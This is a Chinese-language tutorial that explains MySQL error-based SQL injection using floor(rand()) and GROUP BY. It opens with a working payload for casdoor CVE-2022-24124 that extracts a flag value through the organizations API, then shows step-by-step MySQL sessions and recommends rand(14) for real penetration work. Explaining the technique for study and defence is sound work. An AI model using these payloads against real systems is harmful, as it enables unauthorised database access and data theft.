緣起#
源自 casdoor-CVE-2022-24124 注入漏洞 payload 復現的疑惑#
/api/get-organizations? p=1&pageSize=10&value=e99nb&sortField=&sortOrder=&field=(select 123 from (select count (*), concat ((select (value) from flag limit 1),'~', floor (rand (14)*2)) x from (select 1 union all select 2) as t group by x) x)
Q:為什麼這裡一定要用 floor (rand (14)*2)),rand 的參數換一個數字都不行?
A:文末會總結
Payload 一般長這樣#
select count(*) from users group by concat(database(),floor(rand(0)*2));
select count(*),concat(database(),floor(rand(0)*2)) as x from users group by x;
結果一般長這樣#
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'
前置#
創建一個表 那就叫 users 吧#
mysql> create database sqli;
Query OK, 1 row affected (0.02 sec)
mysql> use sqli;
Database changed
mysql> create table users (id int(3),username varchar(100),password varchar(100));
Query OK, 0 rows affected (0.06 sec)
mysql> desc users;
+----------+--------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+--------------+------+-----+---------+-------+
| id | int(3) | YES | | NULL | |
| username | varchar(100) | YES | | NULL | |
| password | varchar(100) | YES | | NULL | |
+----------+--------------+------+-----+---------+-------+
3 rows in set (0.03 sec)
放幾條數據進去#
mysql> insert into users values(1,'admin',md5('123456'));
Query OK, 1 row affected (0.03 sec)
mysql> insert into users values(1,'laolao',md5('12345'));
Query OK, 1 row affected (0.01 sec)
mysql> insert into users values(1,'guairui',md5('12345'));
Query OK, 1 row affected (0.01 sec)
mysql> insert into users values(1,'jiangjiang',md5('12345'));
Query OK, 1 row affected (0.01 sec)
mysql> insert into users values(1,'moss',md5('12345'));
Query OK, 1 row affected (0.01 sec)
mysql> insert into users values(1,'ltpp',md5('12345'));
Query OK, 1 row affected (0.01 sec)
學學其中的函數#
As
1. 列的別名#
這裡用as
關鍵字為id
、username
和password
列分別指定了別名用戶ID
、用戶名
、密碼
mysql> select id as '用戶ID',username as '用戶名',password as '密碼' from users;
+----------+------------+----------------------------------+
| 用戶ID | 用戶名 | 密碼 |
+----------+------------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | laolao | 827ccb0eea8a706c4c34a16891f84e7b |
| 3 | guairui | 827ccb0eea8a706c4c34a16891f84e7b |
| 4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
| 5 | moss | 827ccb0eea8a706c4c34a16891f84e7b |
| 6 | ltpp | 827ccb0eea8a706c4c34a16891f84e7b |
| 7 | year | e358efa489f58062f10dd7316b65649e |
+----------+------------+----------------------------------+
7 rows in set (0.00 sec)
2. 表的別名#
mysql> desc employees;
+----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+-------------+------+-----+---------+-------+
| emp_id | int(11) | NO | PRI | NULL | |
| emp_name | varchar(50) | YES | | NULL | |
| dept_id | int(11) | YES | MUL | NULL | |
+----------+-------------+------+-----+---------+-------+
3 rows in set (0.01 sec)
mysql> desc departments;
+-----------+-------------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-----------+-------------+------+-----+---------+-------+
| dept_id | int(11) | NO | PRI | NULL | |
| dept_name | varchar(50) | YES | | NULL | |
+-----------+-------------+------+-----+---------+-------+
2 rows in set (0.01 sec)
此處給dept_name
建立別名department
,給employees
、departments
表分別建立e
、d
別名。
內連接 -- INNER JOIN#
ON
是用於指定連接兩個表的條件的 SQL 關鍵字,通常與JOIN
一起使用。
mysql> SELECT e.emp_name, d.dept_name AS department
-> FROM employees AS e
-> INNER JOIN departments AS d
-> ON e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name | department |
+-------------+-------------+
| John Smith | Engineering |
| Lisa Jones | Marketing |
| Peter Lee | Engineering |
| Karen Kim | Sales |
| Mike Chen | Engineering |
| Amy Johnson | Finance |
+-------------+-------------+
where 可以實現內連接和 on 限定條件同樣的效果,但並不推薦,因為它可能會形成笛卡爾積以及造成一些不可預測的問題
mysql> SELECT e.emp_name, d.dept_name
-> FROM employees AS e, departments AS d
-> WHERE e.dept_id = d.dept_id;
+-------------+-------------+
| emp_name | dept_name |
+-------------+-------------+
| John Smith | Engineering |
| Lisa Jones | Marketing |
| Peter Lee | Engineering |
| Karen Kim | Sales |
| Mike Chen | Engineering |
| Amy Johnson | Finance |
+-------------+-------------+
6 rows in set (0.01 sec)
自然連接 -- NATURAL JOIN#
mysql> select e.emp_name,d.dept_name FROM employees as e NATURAL JOIN departments as d;
+-------------+-------------+
| emp_name | dept_name |
+-------------+-------------+
| John Smith | Engineering |
| Lisa Jones | Marketing |
| Peter Lee | Engineering |
| Karen Kim | Sales |
| Mike Chen | Engineering |
| Amy Johnson | Finance |
+-------------+-------------+
6 rows in set (0.00 sec)
自然連接與內連接的區別主要在條件的指定上,自然連接不需要指定條件,而內連接需要用 ON 或 USING 關鍵字限定條件。
自然連接會根據兩個表中的相通的列進行連接,它的缺點是可能會出現意料之外的結果。
USING 連接的優點是可以讓連接條件更加簡潔明瞭,但是由於連接條件必須是兩個表中的同名列,因此使用 USING 連接時可能會存在命名衝突的問題。因此,一般情況下建議使用 ON 連接來指定連接條件。
floor(rand(0)*2)
mysql> select count(*) from users group by concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'
sqli1
中的 1 便是來自於 floor (rand (0)*2),它說sqli1
重複,那說明之前的表中已經有這個主鍵了。因為 database () 固定,我們繼續來看下產生 '1' 的這個 floor (rand (0)*2)
rand () 是一個數學函數,它返回一個隨機浮點值
mysql> select rand();
+---------------------+
| rand() |
+---------------------+
| 0.31095878529451676 |
+---------------------+
1 row in set (0.01 sec)
mysql> select rand();
+--------------------+
| rand() |
+--------------------+
| 0.8337753562571252 |
+--------------------+
1 row in set (0.01 sec)
若指定一個整數參數 N,這個 N 稱作種子數(也被叫做隨機因子)。rand () 會根據這個種子數隨機生成來產生重複序列,也就是說在種子數相同的情況下,rand (N) 重複計算的值是相同的。
mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)
mysql> select rand(0) from users limit 0,2;
+---------------------+
| rand(0) |
+---------------------+
| 0.15522042769493574 |
| 0.620881741513388 |
+---------------------+
2 rows in set (0.01 sec)
而它後面的 * 2,則是選定獲取數據的範圍 [0,2],其實就是乘以 2
mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2 |
+--------------------+
| 0.3104408553898715 |
| 1.241763483026776 |
+--------------------+
2 rows in set (0.01 sec)
mysql> select rand(0)*2 from users limit 0,2;
+--------------------+
| rand(0)*2 |
+--------------------+
| 0.3104408553898715 |
| 1.241763483026776 |
+--------------------+
2 rows in set (0.00 sec)
floor () 同樣是一個數學函數,用作向下取整,返回不大於 x 的最大整數值,比如 floor (3.3) 返回 3,floor (-3.3) 返回 - 4
mysql> select floor(3.3),floor(-3.3);
+------------+-------------+
| floor(3.3) | floor(-3.3) |
+------------+-------------+
| 3 | -4 |
+------------+-------------+
1 row in set (0.00 sec)
計算 users 表數據條數的次數,看看 floor (rand (0)*2) 的值
mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
7 rows in set (0.01 sec)
mysql> select floor(rand(0)*2) from users;;
+------------------+
| floor(rand(0)*2) |
+------------------+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+------------------+
7 rows in set (0.01 sec)
可以看到 rand (0) 的值確實是固定的。
concat()
concat 是字符串拼接函數,拼接多個字符串,如果字符串中含有 NULL 則返回 NULL
這樣來看,concat 後的結果應為 sqli0 或 sqli1。
group by 與 count (*)
count (*) 是一個聚合函數,返回值的數目。*
通配符表示所有字段。
select count (*) from users 與 select count (column_name) from users 的區別是 count (*)不排除 NULL,而 count (column_name) 將會排除 NULL。
mysql> insert into users values(8,NULL,NULL);
Query OK, 1 row affected (0.02 sec)
mysql> select * from users;
+----+------------+----------------------------------+
| id | username | password |
+----+------------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | laolao | 827ccb0eea8a706c4c34a16891f84e7b |
| 3 | guairui | 827ccb0eea8a706c4c34a16891f84e7b |
| 4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
| 5 | moss | 827ccb0eea8a706c4c34a16891f84e7b |
| 6 | ltpp | 827ccb0eea8a706c4c34a16891f84e7b |
| 7 | year | e358efa489f58062f10dd7316b65649e |
| 8 | NULL | NULL |
+----+------------+----------------------------------+
8 rows in set (0.00 sec)
mysql> select count(*) from users;
+----------+
| count(*) |
+----------+
| 8 |
+----------+
1 row in set (0.00 sec)
mysql> select count(username) from users;
+-----------------+
| count(username) |
+-----------------+
| 7 |
+-----------------+
1 row in set (0.01 sec)
先看看現在 users 表的數據
mysql> select * from users;
+----+------------+----------------------------------+
| id | username | password |
+----+------------+----------------------------------+
| 1 | admin | e10adc3949ba59abbe56e057f20f883e |
| 2 | laolao | 827ccb0eea8a706c4c34a16891f84e7b |
| 3 | guairui | 827ccb0eea8a706c4c34a16891f84e7b |
| 4 | jiangjiang | 827ccb0eea8a706c4c34a16891f84e7b |
| 5 | moss | 827ccb0eea8a706c4c34a16891f84e7b |
| 6 | ltpp | 827ccb0eea8a706c4c34a16891f84e7b |
| 7 | year | e358efa489f58062f10dd7316b65649e |
| 8 | admin | c4ca4238a0b923820dcc509a6f75849b |
| 9 | bing | c81e728d9d4c2f636f067f89cc14862c |
| 10 | admin | d3d9446802a44259755d38e6d163e820 |
+----+------------+----------------------------------+
10 rows in set (0.01 sec)
通過 select count (*) from users group by username; 這條語句來了解 group by 的工作過程。
mysql> select count(*) from users group by username;
+----------+
| count(*) |
+----------+
| 3 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
| 1 |
+----------+
8 rows in set (0.01 sec)
group by 在執行時,會依次取出查詢表中的記錄並創建一個臨時表,group by 的參數便是該臨時表的主鍵。
如果臨時表中已經存在該主鍵,則將值 + 1,如果不存在,則將該主鍵插入到臨時表中,注意是插入!
第一次取到 username->admin,表中沒有該主鍵,則將 admin 插入到主鍵,count (*) 值計 1
第二次取到 username->laolao, 表中沒有該主鍵,則將 admin 插入到主鍵,count (*) 值計 1
...
當取到原表中第八條 admin 時,同樣將 admin 作為主鍵插入到臨時表中並將 count (*) 計 1
當取到第十條 admin 時,發現臨時表中已經有 admin 作為主鍵了,則直接 count (*) 加 1
可視化如下
mysql> CREATE TABLE temp_table
-> SELECT username as 'key',count(*) from users group by username;
Query OK, 8 rows affected (0.05 sec)
Records: 8 Duplicates: 0 Warnings: 0
mysql> select * from temp_table;
+------------+----------+
| key | count(*) |
+------------+----------+
| admin | 3 |
| bing | 1 |
| guairui | 1 |
| jiangjiang | 1 |
| laolao | 1 |
| ltpp | 1 |
| moss | 1 |
| year | 1 |
+------------+----------+
8 rows in set (0.01 sec)
A:那為什麼不是這個結果,反而報了主鍵重複的錯誤呢?
Q:因為還有一個最重要的特性,就是 group by 和 rand () 使用時,如果臨時表中沒有改主鍵,則在插入前 rand () 會再計算一次(也就是兩次,也有說多次的)。就是這個特性導致了主鍵重複並報錯。
Payload 的執行流#
mysql> SELECT count(*)
-> from users
-> GROUP BY
-> concat(database(),floor(rand(0)*2));
ERROR 1062 (23000): Duplicate entry 'sqli1' for key 'group_key'
在 payload 的執行中,當group by
取第一條from
表記錄時,此時group by
的是sqli0
,發現臨時表中並沒有sqli0
的主鍵,注意這個時候,rand(0)*2
會再計算一次,經floor()
後,率先插入臨時表的主鍵不是sqli0
,而是sqli1
,並計數1
記錄 | Key | Count(*) | floor(rand(0)*2) |
---|---|---|---|
Sqli0 | 0 | 0 | |
1 | Sqli1 | 0 | 1 |
Sqli1 | 1 | 1 | |
2 | Sqli0 | 1 | 0 |
Sqli1 | 2 | 1 | |
3 | sqli1 | 3 | 1 |
sqli0 | 2 | 0 | |
4 | sqli0 | 3 | 0 |
sqli1 | 4 | 1 | |
5 | sqli1 | 5 | 1 |
繼續從 from 的表中取第三條記錄,再次計算 floor (rand (0)*2),結果為 0,與 database () 拼接為 sqli0,臨時表的主鍵中並不存在,在插入前,floor (rand (0)*2) 又計算一次,拼接後與 sqli1,但是是直接插入,即使臨時表中已經有了主鍵 sqli1 也硬要插入,從而導致主鍵重複報錯,也就是:ERROR 1062 (23000): Duplicate entry (條目) 'sqli1' for key 'group_key'。
優化#
Floor (rand (0)*2) 的值為 011011... 但其實第三次計算的結果我們已經不需要了,如果沒有 floor (rand (x)*2) 滿足 0101 或 1010,那麼 from 的表中有兩條數據就是可以報錯的。
經過多次實驗,發現 floor (rand (14)*2) 的值為 1010000..., 那麼我們創建一個只有兩條數據的表試一下看看
mysql> select * from test;
+------+-------+------------+
| id | name | tel |
+------+-------+------------+
| 1 | test | 1111111111 |
| 2 | test2 | 222222222 |
+------+-------+------------+
2 rows in set (0.01 sec)
mysql> select count(*) from test group by concat(database(),floor(rand(0)*2));
+----------+
| count(*) |
+----------+
| 2 |
+----------+
1 row in set (0.01 sec)
mysql> select count(*) from test group by concat(database(),floor(rand(14)*2));
ERROR 1062 (23000): Duplicate entry 'sqli0' for key 'group_key'
也就是說在實際滲透中,報錯注入使用 floor (rand (14)*2) 會比 rand (0) 效果要好。
而且如果說表中只存在一條數據,那這個時候報錯注入就沒法使用了,畢竟只有一條數據也不可能發生主鍵重複報錯。